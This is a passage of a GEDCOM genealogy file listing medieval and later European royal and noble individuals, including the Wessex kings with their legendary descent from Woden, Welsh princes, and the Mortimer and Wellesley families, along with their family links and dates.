+0 @I1851@ INDI
+1 NAME Sybilla  //
+1 SEX F
+1 FAMS @F753@
+1 FAMC @F754@
+0 @I1852@ INDI
+1 NAME Geoffrey of_Conversano //
+1 TITL Count
+1 SEX M
+1 FAMS @F754@
+0 @I1853@ INDI
+1 NAME William Clito of_Flanders//
+1 TITL Count
+1 SEX M
+1 DEAT
+2 DATE        1128
+1 FAMS @F755@
+1 FAMS @F757@
+1 FAMC @F753@
+0 @I1854@ INDI
+1 NAME Sybil  //
+1 SEX F
+1 FAMS @F755@
+1 FAMC @F760@
+0 @I1855@ INDI
+1 NAME Fulke  //
+1 TITL Count of Anjou
+1 SEX M
+1 FAMS @F760@
+0 @I1856@ INDI
+1 NAME Adelicia  //
+1 SEX F
+1 FAMS @F757@
+1 FAMC @F758@
+0 @I1857@ INDI
+1 NAME Reiner of_Montferrat //
+1 TITL Marquis
+1 SEX M
+1 FAMS @F758@
+0 @I1858@ INDI
+1 NAME Isabella  //
+1 SEX F
+1 FAMS @F759@
+1 FAMC @F760@
+0 @I1859@ INDI
+1 NAME Geoffrey Lower_Lorraine //
+1 TITL Duke
+1 SEX M
+1 FAMS @F756@
+0 @I1860@ INDI
+1 NAME Matilda  //
+1 SEX F
+1 DEAT
+2 DATE        1120
+1 FAMC @F569@
+0 @I1861@ INDI
+1 NAME William  //
+1 SEX M
+1 FAMS @F761@
+1 FAMC @F569@
+0 @I1862@ INDI
+1 NAME Agnes  //
+1 SEX F
+1 FAMS @F761@
+1 FAMC @F762@
+0 @I1863@ INDI
+1 NAME Giles de_Sulli //
+1 SEX M
+1 FAMS @F762@
+0 @I1864@ INDI
+1 NAME Maud  //
+1 SEX F
+1 FAMS @F763@
+1 FAMC @F764@
+0 @I1865@ INDI
+1 NAME Ingelbert of_Carinthia //
+1 TITL Duke
+1 SEX M
+1 FAMS @F764@
+0 @I1866@ INDI
+1 NAME Geoffrey_VI of_Anjou //
+1 TITL Count of Nantes
+1 SEX M
+1 BIRT
+2 DATE        1134
+1 DEAT
+2 DATE        1158
+1 FAMC @F510@
+0 @I1867@ INDI
+1 NAME William  //
+1 TITL Count of Poitou
+1 SEX M
+1 BIRT
+2 DATE        1136
+1 DEAT
+2 DATE        1164
+1 FAMC @F510@
+0 @I1868@ INDI
+1 NAME William_X of_Aquitaine //
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1099
+1 DEAT
+2 DATE        1137
+1 FAMS @F765@
+0 @I1869@ INDI
+1 NAME Louis_VII the_Younger //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE ABT    1121
+1 DEAT
+2 DATE 18 SEP 1180
+2 PLAC Paris,France
+1 BURI
+2 PLAC Abbey Barbeaux,Melun,France
+1 FAMS @F766@
+1 FAMS @F1168@
+1 FAMS @F1169@
+1 FAMC @F1158@
+0 @I1870@ INDI
+1 NAME William de_Warenne //
+1 TITL Earl of Surrey
+1 SEX M
+1 FAMS @F767@
+0 @I1871@ INDI
+1 NAME Theodore of_Flanders //
+1 TITL Count
+1 SEX M
+1 FAMS @F768@
+0 @I1872@ INDI
+1 NAME Sancho_VI  //
+1 TITL King of Navarre
+1 SEX M
+1 FAMS @F769@
+0 @I1873@ INDI
+1 NAME Eleanor  //
+1 SEX F
+1 DEAT
+2 DATE        1241
+1 FAMC @F563@
+0 @I1874@ INDI
+1 NAME Conan of_Brittany //
+1 TITL Duke
+1 SEX M
+1 FAMS @F770@
+0 @I1875@ INDI
+1 NAME Ranulph  //
+1 TITL Earl of Chester
+1 SEX M
+1 FAMS @F771@
+0 @I1876@ INDI
+1 NAME Guy of_Thouars //
+1 TITL Viscount
+1 SEX M
+1 FAMS @F772@
+0 @I1877@ INDI
+1 NAME William of_Gloucester //
+1 TITL Earl
+1 SEX M
+1 FAMS @F773@
+0 @I1878@ INDI
+1 NAME Geoffrey de_Mandeville //
+1 SEX M
+1 FAMS @F774@
+0 @I1879@ INDI
+1 NAME Hubert de_Burgh //
+1 SEX M
+1 FAMS @F775@
+0 @I1880@ INDI
+1 NAME Hugh de_la_Marche /le_Brun/
+1 TITL Count
+1 SEX M
+1 FAMS @F776@
+0 @I1881@ INDI
+1 NAME Raymond of_Provence //
+1 TITL Count
+1 SEX M
+1 FAMS @F777@
+0 @I1882@ INDI
+1 NAME Henry  //
+1 SEX M
+1 DEAT
+2 DATE        1271
+1 FAMC @F599@
+0 @I1883@ INDI
+1 NAME William of_Pembroke /Marshal/
+1 TITL Earl
+1 SEX M
+1 FAMS @F778@
+0 @I1884@ INDI
+1 NAME Raymond of_Provence /Berengar/
+1 TITL Count
+1 SEX M
+1 FAMS @F779@
+0 @I1885@ INDI
+1 NAME William de_Fauquemont of_Montjoye//
+1 TITL Count
+1 SEX M
+1 FAMS @F780@
+0 @I1886@ INDI
+1 NAME Alexander_II  //
+1 TITL King of Scotland
+1 SEX M
+1 BIRT
+2 DATE        1198
+1 DEAT
+2 DATE        1249
+1 FAMS @F781@
+1 FAMS @F1025@
+1 FAMC @F1024@
+0 @I1887@ INDI
+1 NAME Edmund  //
+1 TITL Earl of Cornwall
+1 SEX M
+1 DEAT
+2 DATE        1300
+1 FAMS @F782@
+1 FAMC @F600@
+0 @I1888@ INDI
+1 NAME Richard  //
+1 SEX M
+1 DEAT
+2 DATE        1296
+1 FAMC @F600@
+0 @I1889@ INDI
+1 NAME Margaret  //
+1 SEX F
+1 FAMS @F782@
+1 FAMC @F783@
+0 @I1890@ INDI
+1 NAME Richard De_Clare of_Gloucester//
+1 TITL Earl
+1 SEX M
+1 FAMS @F783@
+0 @I1891@ INDI
+1 NAME Alfonso_IX  //
+1 TITL King of Castile
+1 SEX M
+1 DEAT
+2 DATE        1230
+1 FAMS @F784@
+1 FAMS @F691@
+0 @I1892@ INDI
+1 NAME Lucienne of_Rochefort //
+1 SEX F
+1 FAMS @F694@
+0 @I1893@ INDI
+1 NAME William of_Albemarle /de_Forz/
+1 TITL Count
+1 SEX M
+1 FAMS @F785@
+0 @I1894@ INDI
+1 NAME Robert  //
+1 TITL Count of Artois
+1 SEX M
+1 FAMS @F786@
+1 FAMC @F690@
+0 @I1895@ INDI
+1 NAME   /Unknown/
+1 SEX F
+1 FAMS @F786@
+0 @I1896@ INDI
+1 NAME Yolande  //
+1 SEX F
+1 FAMS @F787@
+1 FAMC @F788@
+0 @I1897@ INDI
+1 NAME Robert_IV  //
+1 TITL Count of Dreux
+1 SEX M
+1 FAMS @F788@
+0 @I1898@ INDI
+1 NAME Roger of_Harwich /Hayles/
+1 TITL Sir
+1 SEX M
+1 FAMS @F789@
+0 @I1899@ INDI
+1 NAME Piers De_Braose //
+1 SEX M
+1 FAMS @F790@
+0 @I1900@ INDI
+1 NAME Ralph  /Cobham/
+1 TITL Sir
+1 SEX M
+1 FAMS @F791@
+0 @I1901@ INDI
+1 NAME John  //
+1 TITL Lord Wake
+1 SEX M
+1 FAMS @F792@
+0 @I1902@ INDI
+1 NAME John  /Comyn/
+1 SEX M
+1 FAMS @F793@
+0 @I1903@ INDI
+1 NAME Philip_IV the_Fair //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE        1268
+2 PLAC Fontainebleau,France
+1 DEAT
+2 DATE 29 NOV 1314
+2 PLAC Fontainebleau,France
+1 BURI
+2 PLAC St. Denis,France
+1 FAMS @F794@
+1 FAMC @F688@
+0 @I1904@ INDI
+1 NAME Roger  /Mortimer/
+1 TITL Earl of March II
+1 SEX M
+1 DEAT
+2 DATE        1360
+1 FAMS @F795@
+1 FAMC @F796@
+0 @I1905@ INDI
+1 NAME Edmund  /Mortimer/
+1 TITL Sir
+1 SEX M
+1 FAMS @F796@
+1 FAMC @F797@
+0 @I1906@ INDI
+1 NAME Roger  /Mortimer/
+1 TITL Earl of March I
+1 SEX M
+1 DEAT
+2 DATE        1330
+1 FAMS @F797@
+1 FAMC @F798@
+0 @I1907@ INDI
+1 NAME Edmund  /Mortimer/
+1 TITL Lord Mortimer I
+1 SEX M
+1 FAMS @F798@
+1 FAMC @F799@
+0 @I1908@ INDI
+1 NAME Roger  /Mortimer/
+1 SEX M
+1 FAMS @F799@
+1 FAMC @F800@
+0 @I1909@ INDI
+1 NAME Maud  //
+1 SEX F
+1 FAMS @F799@
+1 FAMC @F807@
+0 @I1910@ INDI
+1 NAME Ralph  /Mortimer/
+1 SEX M
+1 FAMS @F800@
+0 @I1911@ INDI
+1 NAME Gwladus DDU //
+1 SEX F
+1 FAMS @F801@
+1 FAMS @F800@
+1 FAMC @F802@
+0 @I1912@ INDI
+1 NAME Reginald De_Braose //
+1 SEX M
+1 FAMS @F801@
+1 FAMS @F808@
+1 FAMC @F809@
+0 @I1913@ INDI
+1 NAME Llywelyn Fawr the_Great//
+1 TITL Prince of Wales
+1 SEX M
+1 FAMS @F802@
+1 FAMC @F830@
+0 @I1914@ INDI
+1 NAME Richard  /Wellesley/
+1 TITL Marquess
+1 SEX M
+1 DEAT
+2 DATE        1842
+1 FAMS @F803@
+1 FAMC @F804@
+0 @I1915@ INDI
+1 NAME Garret of_Mornington /Wellesley/
+1 TITL Earl
+1 SEX M
+1 FAMS @F804@
+0 @I1916@ INDI
+1 NAME Anne  /Hill/
+1 TITL Hon.
+1 SEX F
+1 DEAT
+2 DATE        1831
+1 FAMS @F804@
+1 FAMC @F805@
+0 @I1917@ INDI
+1 NAME Arthur of_Wellington /Wellesley/
+1 TITL Duke
+1 SEX M
+1 FAMC @F804@
+0 @I1918@ INDI
+1 NAME Arthur Dungannon /Hill/
+1 TITL Viscount
+1 SEX M
+1 FAMS @F805@
+1 FAMC @F987@
+0 @I1919@ INDI
+1 NAME William  /De_Braose/
+1 SEX M
+1 FAMS @F807@
+1 FAMC @F808@
+0 @I1920@ INDI
+1 NAME William  /De_Braose/
+1 SEX M
+1 FAMS @F809@
+0 @I1921@ INDI
+1 NAME Bertha  //
+1 SEX F
+1 FAMS @F809@
+1 FAMC @F810@
+0 @I1922@ INDI
+1 NAME Miles of_Gloucester //
+1 TITL Earl of Hereford
+1 SEX M
+1 FAMS @F810@
+0 @I1923@ INDI
+1 NAME Sybil  //
+1 SEX F
+1 FAMS @F810@
+1 FAMC @F811@
+0 @I1924@ INDI
+1 NAME Bernard of_Neufmarche //
+1 SEX M
+1 FAMS @F811@
+0 @I1925@ INDI
+1 NAME Nest  //
+1 SEX F
+1 FAMS @F811@
+1 FAMC @F812@
+0 @I1926@ INDI
+1 NAME Osbern Fitz Richard//
+1 SEX M
+1 FAMS @F812@
+0 @I1927@ INDI
+1 NAME Nest  //
+1 SEX F
+1 FAMS @F812@
+1 FAMC @F813@
+0 @I1928@ INDI
+1 NAME Gruffydd Ap_Llywelyn //
+1 SEX M
+1 FAMS @F813@
+1 FAMC @F814@
+0 @I1929@ INDI
+1 NAME Henry_III  //
+1 TITL King of Germany
+1 SEX M
+1 BIRT
+2 DATE        1017
+1 DEAT
+2 DATE        1056
+1 FAMS @F846@
+0 @I1930@ INDI
+1 NAME Llywelyn Ap_Seisyll //
+1 SEX M
+1 FAMS @F814@
+0 @I1931@ INDI
+1 NAME Angharad  //
+1 SEX F
+1 FAMS @F814@
+1 FAMS @F815@
+1 FAMC @F816@
+0 @I1932@ INDI
+1 NAME Cynfyn of_Powys //
+1 SEX M
+1 FAMS @F815@
+0 @I1933@ INDI
+1 NAME Bleddyn  //
+1 SEX M
+1 FAMC @F815@
+0 @I1934@ INDI
+1 NAME Maredudd  //
+1 SEX M
+1 FAMS @F816@
+1 FAMC @F817@
+0 @I1935@ INDI
+1 NAME Owain  //
+1 SEX M
+1 DEAT
+2 DATE         968
+1 FAMS @F817@
+1 FAMC @F818@
+0 @I1936@ INDI
+1 NAME Hywel Dda (the_Good)//
+1 SEX M
+1 FAMS @F818@
+1 FAMC @F819@
+0 @I1937@ INDI
+1 NAME Cadell  //
+1 SEX M
+1 DEAT
+2 DATE         909
+1 FAMS @F819@
+1 FAMC @F820@
+0 @I1938@ INDI
+1 NAME Rhodri Mawr (the_Great)//
+1 SEX M
+1 FAMS @F820@
+0 @I1939@ INDI
+1 NAME Anarawd  //
+1 SEX M
+1 FAMS @F822@
+1 FAMC @F820@
+0 @I1940@ INDI
+1 NAME Idwal Foel (the_Bald)//
+1 SEX M
+1 DEAT
+2 DATE         942
+1 FAMS @F821@
+1 FAMC @F822@
+0 @I1941@ INDI
+1 NAME   /Unknown/
+1 SEX F
+1 FAMS @F821@
+0 @I1942@ INDI
+1 NAME Iago  //
+1 SEX M
+1 FAMC @F821@
+0 @I1943@ INDI
+1 NAME Ieuaf (Levan) //
+1 SEX M
+1 FAMS @F824@
+1 FAMC @F821@
+0 @I1944@ INDI
+1 NAME Meurig  //
+1 SEX M
+1 DEAT
+2 DATE         986
+1 FAMS @F825@
+1 FAMC @F821@
+0 @I1945@ INDI
+1 NAME Hywel (the_Bad) //
+1 SEX M
+1 FAMS @F823@
+1 FAMC @F824@
+0 @I1946@ INDI
+1 NAME Cadwallon  //
+1 SEX M
+1 FAMC @F824@
+0 @I1947@ INDI
+1 NAME Cynan  //
+1 SEX M
+1 FAMC @F823@
+0 @I1948@ INDI
+1 NAME Idwal  //
+1 SEX M
+1 DEAT
+2 DATE         996
+1 FAMS @F826@
+1 FAMC @F825@
+0 @I1949@ INDI
+1 NAME Iago  //
+1 SEX M
+1 FAMS @F828@
+1 FAMC @F826@
+0 @I1950@ INDI
+1 NAME Cynan  //
+1 SEX M
+1 FAMS @F827@
+1 FAMC @F828@
+0 @I1951@ INDI
+1 NAME Gruffydd Ap_Cynan //
+1 SEX M
+1 FAMS @F829@
+1 FAMC @F827@
+0 @I1952@ INDI
+1 NAME Owain Gwynedd //
+1 SEX M
+1 FAMS @F831@
+1 FAMC @F829@
+0 @I1953@ INDI
+1 NAME Iorwerth Drwyndwn //
+1 SEX M
+1 FAMS @F830@
+1 FAMC @F831@
+0 @I1954@ INDI
+1 NAME   /Unknown/
+1 SEX F
+1 FAMS @F831@
+0 @I1955@ INDI
+1 NAME Dafydd  //
+1 SEX M
+1 FAMC @F831@
+0 @I1956@ INDI
+1 NAME   /Unknown/
+1 SEX F
+1 FAMS @F802@
+0 @I1957@ INDI
+1 NAME Gruffydd  //
+1 SEX M
+1 FAMS @F833@
+1 FAMC @F802@
+0 @I1958@ INDI
+1 NAME Dafydd  //
+1 SEX M
+1 FAMC @F802@
+0 @I1959@ INDI
+1 NAME Angharad  //
+1 SEX F
+1 FAMS @F970@
+1 FAMC @F802@
+0 @I1960@ INDI
+1 NAME Gwenllian  //
+1 SEX F
+1 FAMC @F832@
+0 @I1961@ INDI
+1 NAME Llywelyn Ap_Gruffydd //
+1 SEX M
+1 FAMS @F832@
+1 FAMC @F833@
+0 @I1962@ INDI
+1 NAME Kathryn  //
+1 SEX F
+1 FAMC @F62@
+0 @I1963@ INDI
+1 NAME Norissa  //
+1 SEX F
+1 FAMC @F62@
+0 @I1964@ INDI
+1 NAME Alfred the_Great //
+1 TITL King West Saxons
+1 SEX M
+1 BIRT
+2 DATE         849
+2 PLAC Wantage,,,England
+1 DEAT
+2 DATE         899
+1 FAMS @F834@
+1 FAMC @F835@
+0 @I1965@ INDI
+1 NAME Ealhswith  //
+1 SEX F
+1 DEAT
+2 DATE         905
+1 FAMS @F834@
+1 FAMC @F842@
+0 @I1966@ INDI
+1 NAME Ethelwulf  //
+1 TITL King of Wessex
+1 SEX M
+1 DEAT
+2 DATE         858
+1 FAMS @F835@
+1 FAMS @F838@
+1 FAMC @F837@
+0 @I1967@ INDI
+1 NAME Osburh  //
+1 SEX F
+1 DEAT
+2 DATE         846
+1 FAMS @F835@
+1 FAMC @F839@
+0 @I1968@ INDI
+1 NAME Athelstan  //
+1 SEX M
+1 FAMC @F835@
+0 @I1969@ INDI
+1 NAME Ethelbald  //
+1 TITL King of Wessex
+1 SEX M
+1 DEAT
+2 DATE         860
+1 FAMS @F836@
+1 FAMC @F835@
+0 @I1970@ INDI
+1 NAME Judith  //
+1 SEX F
+1 FAMS @F836@
+1 FAMS @F838@
+0 @I1971@ INDI
+1 NAME Ethelbert  //
+1 TITL King of Wessex
+1 SEX M
+1 DEAT
+2 DATE         866
+1 FAMC @F835@
+0 @I1972@ INDI
+1 NAME Ethelred_I  //
+1 TITL King of Wessex
+1 SEX M
+1 DEAT
+2 DATE         871
+1 FAMS @F840@
+1 FAMC @F835@
+0 @I1973@ INDI
+1 NAME Egbert  //
+1 TITL King of Wessex
+1 SEX M
+1 DEAT
+2 DATE         839
+1 FAMS @F837@
+1 FAMC @F895@
+0 @I1974@ INDI
+1 NAME Redburh  //
+1 SEX F
+1 FAMS @F837@
+0 @I1975@ INDI
+1 NAME Athelstan  //
+1 SEX M
+1 FAMC @F837@
+0 @I1976@ INDI
+1 NAME Oslac  //
+1 SEX M
+1 FAMS @F839@
+0 @I1977@ INDI
+1 NAME Ethelswith  //
+1 SEX F
+1 DEAT
+2 DATE         888
+1 FAMS @F841@
+1 FAMC @F835@
+0 @I1978@ INDI
+1 NAME Ethelhelm  //
+1 SEX M
+1 FAMC @F840@
+0 @I1979@ INDI
+1 NAME Ethelwald  //
+1 TITL King of York
+1 SEX M
+1 FAMC @F840@
+0 @I1980@ INDI
+1 NAME Burghred  //
+1 TITL King of Mercia
+1 SEX M
+1 FAMS @F841@
+0 @I1981@ INDI
+1 NAME Ethelred  /Mucel/
+1 TITL Ealdorman
+1 SEX M
+1 FAMS @F842@
+0 @I1982@ INDI
+1 NAME Ethelwerd  //
+1 SEX M
+1 DEAT
+2 DATE         922
+1 FAMS @F843@
+1 FAMC @F834@
+0 @I1983@ INDI
+1 NAME Elfwine  //
+1 SEX M
+1 DEAT
+2 DATE         937
+1 FAMC @F843@
+0 @I1984@ INDI
+1 NAME Ethelwine  //
+1 SEX M
+1 DEAT
+2 DATE         937
+1 FAMC @F843@
+0 @I1985@ INDI
+1 NAME Ethelfleda  //
+1 TITL Lady of Mercia
+1 SEX F
+1 DEAT
+2 DATE         918
+1 FAMS @F845@
+1 FAMC @F834@
+0 @I1986@ INDI
+1 NAME Ethelgiva of_Shaftesbury //
+1 TITL Abbess
+1 SEX F
+1 FAMC @F834@
+0 @I1987@ INDI
+1 NAME Elfrida  //
+1 SEX F
+1 FAMS @F844@
+1 FAMC @F834@
+0 @I1988@ INDI
+1 NAME Baldwin_II of_Flanders //
+1 TITL Count
+1 SEX M
+1 FAMS @F844@
+0 @I1989@ INDI
+1 NAME Ethelred of_Mercia //
+1 TITL Ealdorman
+1 SEX M
+1 DEAT
+2 DATE         910
+1 FAMS @F845@
+0 @I1990@ INDI
+1 NAME Henry_IV  //
+1 TITL Emperor
+1 SEX M
+1 BIRT
+2 DATE 11 NOV 1050
+2 PLAC Goslar,,,Germany
+1 DEAT
+2 DATE  7 AUG 1106
+2 PLAC Liege,,,Belgium
+1 FAMC @F846@
+0 @I1991@ INDI
+1 NAME Cerdic  //
+1 TITL King of Wessex
+1 SEX M
+1 DEAT
+2 DATE         534
+1 FAMS @F847@
+1 FAMC @F849@
+0 @I1992@ INDI
+1 NAME Cynric  //
+1 TITL King of Wessex
+1 SEX M
+1 DEAT
+2 DATE         560
+1 FAMS @F848@
+1 FAMC @F847@
+0 @I1993@ INDI
+1 NAME Ceawlin  //
+1 SEX M
+1 DEAT
+2 DATE         593
+1 FAMS @F885@
+1 FAMC @F848@
+0 @I1994@ INDI
+1 NAME Cutha  //
+1 TITL King of Wessex
+1 SEX M
+1 DEAT
+2 DATE         584
+1 FAMS @F874@
+1 FAMC @F848@
+0 @I1995@ INDI
+1 NAME Elesa  //
+1 SEX M
+1 FAMS @F849@
+1 FAMC @F850@
+0 @I1996@ INDI
+1 NAME Elsa  //
+1 SEX M
+1 FAMS @F850@
+1 FAMC @F851@
+0 @I1997@ INDI
+1 NAME Gewis  //
+1 SEX M
+1 FAMS @F851@
+1 FAMC @F852@
+0 @I1998@ INDI
+1 NAME Wig  //
+1 SEX M
+1 FAMS @F852@
+1 FAMC @F853@
+0 @I1999@ INDI
+1 NAME Freawine  //
+1 SEX M
+1 FAMS @F853@
+1 FAMC @F854@
+0 @I2000@ INDI
+1 NAME Frithogar  //
+1 SEX M
+1 FAMS @F854@
+1 FAMC @F855@
+0 @I2001@ INDI
+1 NAME Brond  //
+1 SEX M
+1 FAMS @F855@
+1 FAMC @F856@
+0 @I2002@ INDI
+1 NAME Baeldaeg  //
+1 SEX M
+1 FAMS @F856@
+1 FAMC @F857@
+0 @I2003@ INDI
+1 NAME Woden  //
+1 SEX M
+1 FAMS @F857@
+1 FAMC @F858@
+0 @I2004@ INDI
+1 NAME Frithuwald  //
+1 SEX M
+1 FAMS @F858@
+1 FAMC @F859@
+0 @I2005@ INDI
+1 NAME Frealaf  //
+1 SEX M
+1 FAMS @F859@
+1 FAMC @F860@
+0 @I2006@ INDI
+1 NAME Frithuwulf  //
+1 SEX M
+1 FAMS @F860@
+1 FAMC @F861@
+0 @I2007@ INDI
+1 NAME Finn  //
+1 SEX M
+1 FAMS @F861@
+1 FAMC @F862@
+0 @I2008@ INDI
+1 NAME Godwulf  //
+1 SEX M
+1 FAMS @F862@
+1 FAMC @F863@
+0 @I2009@ INDI
+1 NAME Geata  //
+1 SEX M
+1 FAMS @F863@
+1 FAMC @F864@
+0 @I2010@ INDI
+1 NAME Taetwa  //
+1 SEX M
+1 FAMS @F864@
+1 FAMC @F865@
+0 @I2011@ INDI
+1 NAME Beaw  //
+1 SEX M
+1 FAMS @F865@
+1 FAMC @F866@
+0 @I2012@ INDI
+1 NAME Sceldwa  //
+1 SEX M
+1 FAMS @F866@
+1 FAMC @F867@
+0 @I2013@ INDI
+1 NAME Heremod  //
+1 SEX M
+1 FAMS @F867@
+1 FAMC @F868@
+0 @I2014@ INDI
+1 NAME Itermon  //
+1 SEX M
+1 FAMS @F868@
+1 FAMC @F869@
+0 @I2015@ INDI
+1 NAME Hathra  //
+1 SEX M
+1 FAMS @F869@
+1 FAMC @F870@
+0 @I2016@ INDI
+1 NAME Hwala  //
+1 SEX M
+1 FAMS @F870@
+1 FAMC @F871@
+0 @I2017@ INDI
+1 NAME Bedwig  //
+1 SEX M
+1 FAMS @F871@
+1 FAMC @F872@
+0 @I2018@ INDI
+1 NAME Sceaf  //
+1 SEX M
+1 FAMS @F872@
+0 @I2019@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F873@
+1 FAMC @F849@
+0 @I2020@ INDI
+1 NAME Stuf  //
+1 SEX M
+1 FAMC @F873@
+0 @I2021@ INDI
+1 NAME Wihtgar Isle_of_Wight //
+1 TITL King
+1 SEX M
+1 DEAT
+2 DATE         544
+1 FAMC @F873@
+0 @I2022@ INDI
+1 NAME Ceolric  //
+1 TITL King of Wessex
+1 SEX M
+1 DEAT
+2 DATE         597
+1 FAMS @F875@
+1 FAMC @F874@
+0 @I2023@ INDI
+1 NAME Ceolwulf  //
+1 TITL King of Wessex
+1 SEX M
+1 FAMS @F879@
+1 FAMC @F874@
+0 @I2024@ INDI
+1 NAME Cynegils  //
+1 TITL King of Wessex
+1 SEX M
+1 FAMS @F880@
+1 FAMC @F875@
+0 @I2025@ INDI
+1 NAME Aescwine  //
+1 TITL King of Wessex
+1 SEX M
+1 FAMC @F876@
+0 @I2026@ INDI
+1 NAME Cenfus  //
+1 SEX M
+1 FAMS @F876@
+1 FAMC @F877@
+0 @I2027@ INDI
+1 NAME Cenferth  //
+1 SEX M
+1 FAMS @F877@
+1 FAMC @F878@
+0 @I2028@ INDI
+1 NAME Cuthgils  //
+1 SEX M
+1 FAMS @F878@
+1 FAMC @F879@
+0 @I2029@ INDI
+1 NAME Cwichelm  //
+1 SEX M
+1 DEAT
+2 DATE         636
+1 FAMS @F881@
+1 FAMC @F880@
+0 @I2030@ INDI
+1 NAME Cenwealh  //
+1 SEX M
+1 FAMS @F882@
+1 FAMS @F883@
+1 FAMC @F880@
+0 @I2031@ INDI
+1 NAME Centwine  //
+1 TITL King of Wessex
+1 SEX M
+1 FAMC @F880@
+0 @I2032@ INDI
+1 NAME Cyneburh  //
+1 SEX F
+1 FAMS @F884@
+1 FAMC @F880@
+0 @I2033@ INDI
+1 NAME Cuthred  //
+1 FAMC @F881@
+0 @I2034@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F882@
+0 @I2035@ INDI
+1 NAME Sexburh  //
+1 TITL Queen of Wessex
+1 SEX F
+1 FAMS @F883@
+0 @I2036@ INDI
+1 NAME Oswald of_Northumbria //
+1 TITL King
+1 SEX M
+1 FAMS @F884@
+0 @I2037@ INDI
+1 NAME Cuthwine  //
+1 SEX M
+1 FAMS @F886@
+1 FAMC @F885@
+0 @I2038@ INDI
+1 NAME Chad  //
+1 SEX M
+1 FAMS @F887@
+1 FAMC @F886@
+0 @I2039@ INDI
+1 NAME Cynebald  //
+1 SEX M
+1 FAMS @F890@
+1 FAMC @F886@
+0 @I2040@ INDI
+1 NAME Cuthwulf (Cutha) //
+1 SEX M
+1 FAMS @F899@
+1 FAMC @F886@
+0 @I2041@ INDI
+1 NAME Cenbert  //
+1 SEX M
+1 DEAT
+2 DATE         661
+1 FAMS @F888@
+1 FAMC @F887@
+0 @I2042@ INDI
+1 NAME Cedwalla  //
+1 TITL King of Wessex
+1 SEX M
+1 DEAT
+2 DATE         689
+2 PLAC Rome,,,Italy
+1 FAMC @F888@
+0 @I2043@ INDI
+1 NAME Mul  //
+1 TITL King of Kent
+1 SEX M
+1 DEAT
+2 DATE         687
+1 FAMC @F888@
+0 @I2044@ INDI
+1 NAME Oswald  /Atheling/
+1 SEX M
+1 DEAT
+2 DATE         729
+1 FAMC @F889@
+0 @I2045@ INDI
+1 NAME Ethelbald  //
+1 SEX M
+1 FAMS @F889@
+1 FAMC @F890@
+0 @I2046@ INDI
+1 NAME Ine  //
+1 TITL King of Wessex
+1 SEX M
+1 DEAT
+2 DATE         728
+2 PLAC Rome,,Italy
+1 FAMS @F893@
+1 FAMC @F891@
+0 @I2047@ INDI
+1 NAME Cenred  //
+1 SEX M
+1 FAMS @F891@
+1 FAMC @F892@
+0 @I2048@ INDI
+1 NAME Ceolwald  //
+1 SEX M
+1 FAMS @F892@
+1 FAMC @F899@
+0 @I2049@ INDI
+1 NAME Ethelburh  //
+1 SEX F
+1 FAMS @F893@
+0 @I2050@ INDI
+1 NAME Ingild  //
+1 SEX M
+1 DEAT
+2 DATE         718
+1 FAMS @F898@
+1 FAMC @F891@
+0 @I2051@ INDI
+1 NAME Cwenburh of_Wimborne //
+1 TITL Abbess
+1 SEX F
+1 FAMC @F891@
+0 @I2052@ INDI
+1 NAME Cuthburh  //
+1 SEX F
+1 FAMS @F894@
+1 FAMC @F891@
+0 @I2053@ INDI
+1 NAME Aldfrid of_Northumbria //
+1 TITL King
+1 SEX M
+1 FAMS @F894@
+0 @I2054@ INDI
+1 NAME Ealhmund of_Kent //
+1 TITL Under-King
+1 SEX M
+1 DEAT
+2 DATE         786
+1 FAMS @F895@
+1 FAMC @F896@
+0 @I2055@ INDI
+1 NAME Eaba  //
+1 SEX M
+1 FAMS @F896@
+1 FAMC @F897@
+0 @I2056@ INDI
+1 NAME Eoppa  //
+1 SEX M
+1 FAMS @F897@
+1 FAMC @F898@
+0 @I2057@ INDI
+1 NAME William of_Hainault //
+1 TITL Count
+1 SEX M
+1 FAMS @F900@
+0 @I2058@ INDI
+1 NAME Thomas  /Holland/
+1 TITL Earl of Kent
+1 SEX M
+1 FAMS @F901@
+0 @I2059@ INDI
+1 NAME William  /de_Burgh/
+1 TITL Earl of Ulster
+1 SEX M
+1 FAMS @F902@
+0 @I2060@ INDI
+1 NAME Galeazzo  /Visconti/
+1 TITL Duke of Milan
+1 SEX M
+1 FAMS @F903@
+0 @I2061@ INDI
+1 NAME Otho of_Montferrat //
+1 TITL Marquis
+1 SEX M
+1 FAMS @F904@
+0 @I2062@ INDI
+1 NAME Pedro_III of_Castile //
+1 TITL King
+1 SEX M
+1 FAMS @F905@
+1 FAMS @F908@
+0 @I2063@ INDI
+1 NAME Payne of_Guienne /Roet/
+1 TITL Sir
+1 SEX M
+1 FAMS @F906@
+0 @I2064@ INDI
+1 NAME Hugh  /Swynford/
+1 TITL Sir
+1 SEX M
+1 FAMS @F907@
+0 @I2065@ INDI
+1 NAME Katherine  //
+1 SEX F
+1 FAMS @F909@
+1 FAMC @F517@
+0 @I2066@ INDI
+1 NAME Henry_III  //
+1 TITL King of Castile
+1 SEX M
+1 BIRT
+2 DATE        1379
+1 DEAT
+2 DATE        1406
+1 FAMS @F909@
+1 FAMC @F910@
+0 @I2067@ INDI
+1 NAME John_I (Juan) //
+1 TITL King of Castile
+1 SEX M
+1 BIRT
+2 DATE        1358
+1 DEAT
+2 DATE        1390
+1 FAMS @F910@
+1 FAMC @F911@
+0 @I2068@ INDI
+1 NAME Henry_II (Enrique) //
+1 TITL King of Castile
+1 SEX M
+1 BIRT
+2 DATE ABT    1333
+1 DEAT
+2 DATE        1379
+1 FAMS @F911@
+0 @I2069@ INDI
+1 NAME Humphrey of_Hereford /De_Bohun/
+1 TITL Earl
+1 SEX M
+1 FAMS @F912@
+0 @I2070@ INDI
+1 NAME Edmund of_Stafford //
+1 TITL Earl
+1 SEX M
+1 FAMS @F913@
+0 @I2071@ INDI
+1 NAME Humphrey of_Buckingham //
+1 TITL Earl
+1 SEX M
+1 FAMC @F491@
+0 @I2072@ INDI
+1 NAME Joan  //
+1 SEX F
+1 FAMC @F491@
+0 @I2073@ INDI
+1 NAME Isabel  //
+1 SEX F
+1 FAMC @F491@
+0 @I2074@ INDI
+1 NAME Isabelle of_Bavaria //
+1 SEX F
+1 BIRT
+2 DATE        1371
+1 DEAT
+2 DATE        1435
+1 FAMS @F915@
+0 @I2075@ INDI
